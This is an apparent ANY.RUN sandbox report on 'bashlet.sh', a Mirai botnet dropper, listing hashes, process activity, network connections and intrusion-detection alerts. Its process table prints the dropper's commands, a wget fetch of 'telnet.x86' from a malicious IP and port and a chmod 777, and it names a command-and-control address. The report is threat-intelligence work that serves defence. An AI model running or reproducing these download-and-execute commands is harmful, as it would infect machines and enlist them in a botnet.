File name:

bashlet.sh

Full analysis: https://app.any.run/tasks/f827ed1f-9ac8-403e-87ac-5bfb424e5c20
Verdict: Malicious activity
Threats:

A botnet is a group of internet-connected devices that are controlled by a single individual or group, often without the knowledge or consent of the device owners. These devices can be used to launch a variety of malicious attacks, such as distributed denial-of-service (DDoS) attacks, spam campaigns, and data theft. Botnet malware is the software that is used to infect devices and turn them into part of a botnet.

Analysis date: January 23, 2025, 20:01:11
OS: Ubuntu 22.04.2 LTS
Tags:
opendir
mirai
botnet
Indicators:
MIME: text/plain
File info: ASCII text, with CRLF line terminators
MD5:

61979E46FC5D5C7F5770854FD233EBEA

SHA1:

D149426DFF45AE6E27B5488209B1BB9CD9C565E0

SHA256:

ABB77349093A7D80E7C3CE76EF3B64A18FAA64FD59F7AB4230408F67CAD88999

SSDEEP:

3:GRFaZdqBRWKJbUaDOSd9ax0pxU:SCg/JbUaDr9aSp+

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.
  • MALICIOUS

    • MIRAI has been detected (SURICATA)

      • telnet.x86 (PID: 38771)
  • SUSPICIOUS

    • Modifies file or directory owner

      • sudo (PID: 38755)
    • Uses wget to download content

      • bash (PID: 38766)
    • Executes the "rm" command to delete files or directories

      • bash (PID: 38766)
    • Connects to unusual port

      • telnet.x86 (PID: 38771)
      • wget (PID: 38768)
    • Executes commands using command-line interpreter

      • sudo (PID: 38764)
    • Potential Corporate Privacy Violation

      • wget (PID: 38768)
    • Contacting a server suspected of hosting an CnC

      • telnet.x86 (PID: 38771)
  • INFO

    No info indicators.
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.
No data.
screenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
230
Monitored processes
20
Malicious processes
5
Suspicious processes
0

Behavior graph

Click at the process to see the details
start dash no specs sudo no specs chown no specs chmod no specs dash no specs sudo no specs bash no specs locale-check no specs wget chmod no specs telnet.x86 no specs #MIRAI telnet.x86 bash no specs rm no specs telnet.x86 no specs telnet.x86 no specs systemctl no specs systemctl no specs systemctl no specs systemctl no specs

Process information

PID
CMD
Path
Indicators
Parent process
38754/bin/sh -c "sudo chown user /home/user/Desktop/bashlet\.sh && chmod +x /home/user/Desktop/bashlet\.sh && DISPLAY=:0 sudo -iu user /home/user/Desktop/bashlet\.sh "/usr/bin/dashany-guest-agent
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38755sudo chown user /home/user/Desktop/bashlet.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38758chown user /home/user/Desktop/bashlet.sh/usr/bin/chownsudo
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38759chmod +x /home/user/Desktop/bashlet.sh/usr/bin/chmoddash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38760/bin/sh -e /etc/NetworkManager/dispatcher.d/01-ifupdown connectivity-change/usr/bin/dashnm-dispatcher
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38764sudo -iu user /home/user/Desktop/bashlet.sh/usr/bin/sudodash
User:
root
Integrity Level:
UNKNOWN
Exit code:
0
38766-bash --login -c \/home\/user\/Desktop\/bashlet\.sh/usr/bin/bashsudo
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38767/usr/bin/locale-check C.UTF-8/usr/bin/locale-checkbash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38768wget http://147.185.221.25:27143/lawl/telnet.x86/usr/bin/wget
bash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
38769chmod 777 telnet.x86/usr/bin/chmodbash
User:
user
Integrity Level:
UNKNOWN
Exit code:
0
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0

Dropped files

No data
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
15
TCP/UDP connections
19
DNS requests
12
Threats
25

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
GET
91.189.91.97:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
GET
91.189.91.97:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
GET
204
185.125.190.49:80
http://connectivity-check.ubuntu.com/
unknown
whitelisted
38768
wget
GET
200
147.185.221.25:27143
http://147.185.221.25:27143/lawl/telnet.x86
unknown
malicious
GET
200
37.19.194.80:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
binary
1.63 Mb
unknown
GET
200
37.19.194.80:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
binary
1.63 Mb
unknown
GET
200
37.19.194.80:443
https://odrs.gnome.org/1.0/reviews/api/ratings
unknown
binary
1.63 Mb
unknown
POST
200
185.125.188.55:443
https://api.snapcraft.io/v2/snaps/refresh
unknown
unknown
POST
200
185.125.188.58:443
https://api.snapcraft.io/api/v1/snaps/auth/nonces
unknown
binary
53 b
unknown
POST
200
185.125.188.54:443
https://api.snapcraft.io/api/v1/snaps/auth/sessions
unknown
binary
587 b
unknown
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
484
avahi-daemon
224.0.0.251:5353
unknown
91.189.91.97:80
connectivity-check.ubuntu.com
Canonical Group Limited
US
whitelisted
185.125.190.49:80
connectivity-check.ubuntu.com
Canonical Group Limited
GB
whitelisted
212.102.56.179:443
odrs.gnome.org
Datacamp Limited
DE
whitelisted
38768
wget
147.185.221.25:27143
PLAYIT-GG
US
malicious
512
snapd
185.125.188.55:443
api.snapcraft.io
Canonical Group Limited
GB
whitelisted
38771
telnet.x86
45.55.219.156:37212
DIGITALOCEAN-ASN
US
unknown

DNS requests

Domain
IP
Reputation
connectivity-check.ubuntu.com
  • 91.189.91.97
  • 185.125.190.98
  • 185.125.190.97
  • 185.125.190.96
  • 185.125.190.48
  • 91.189.91.49
  • 91.189.91.48
  • 185.125.190.49
  • 91.189.91.96
  • 91.189.91.98
  • 185.125.190.18
  • 185.125.190.17
  • 2620:2d:4000:1::97
  • 2620:2d:4000:1::23
  • 2620:2d:4000:1::22
  • 2620:2d:4000:1::2a
  • 2001:67c:1562::23
  • 2620:2d:4002:1::196
  • 2620:2d:4002:1::198
  • 2620:2d:4000:1::96
  • 2001:67c:1562::24
  • 2620:2d:4000:1::98
  • 2620:2d:4000:1::2b
  • 2620:2d:4002:1::197
whitelisted
odrs.gnome.org
  • 212.102.56.179
  • 169.150.255.184
  • 207.211.211.26
  • 37.19.194.80
  • 195.181.170.19
  • 169.150.255.180
  • 195.181.175.40
  • 2a02:6ea0:c700::11
  • 2a02:6ea0:c700::19
  • 2a02:6ea0:c700::101
  • 2a02:6ea0:c700::21
  • 2a02:6ea0:c700::18
  • 2a02:6ea0:c700::107
  • 2a02:6ea0:c700::112
whitelisted
google.com
  • 142.250.181.238
  • 2a00:1450:4001:806::200e
whitelisted
api.snapcraft.io
  • 185.125.188.55
  • 185.125.188.59
  • 185.125.188.54
  • 185.125.188.58
  • 2620:2d:4000:1010::6d
  • 2620:2d:4000:1010::2e6
  • 2620:2d:4000:1010::42
  • 2620:2d:4000:1010::117
whitelisted
57.100.168.192.in-addr.arpa
unknown

Threats

PID
Process
Class
Message
38768
wget
Potential Corporate Privacy Violation
ET INFO Executable and linking format (ELF) file download
38768
wget
Potentially Bad Traffic
ET HUNTING Suspicious GET Request for .x86
38768
wget
Potentially Bad Traffic
ET INFO x86 File Download Request from IP Address
38771
telnet.x86
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
38771
telnet.x86
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
38771
telnet.x86
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
38771
telnet.x86
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
38771
telnet.x86
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
38771
telnet.x86
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
38771
telnet.x86
Malware Command and Control Activity Detected
BOTNET [ANY.RUN] Possible Mirai.Gen (Linux)
No debug info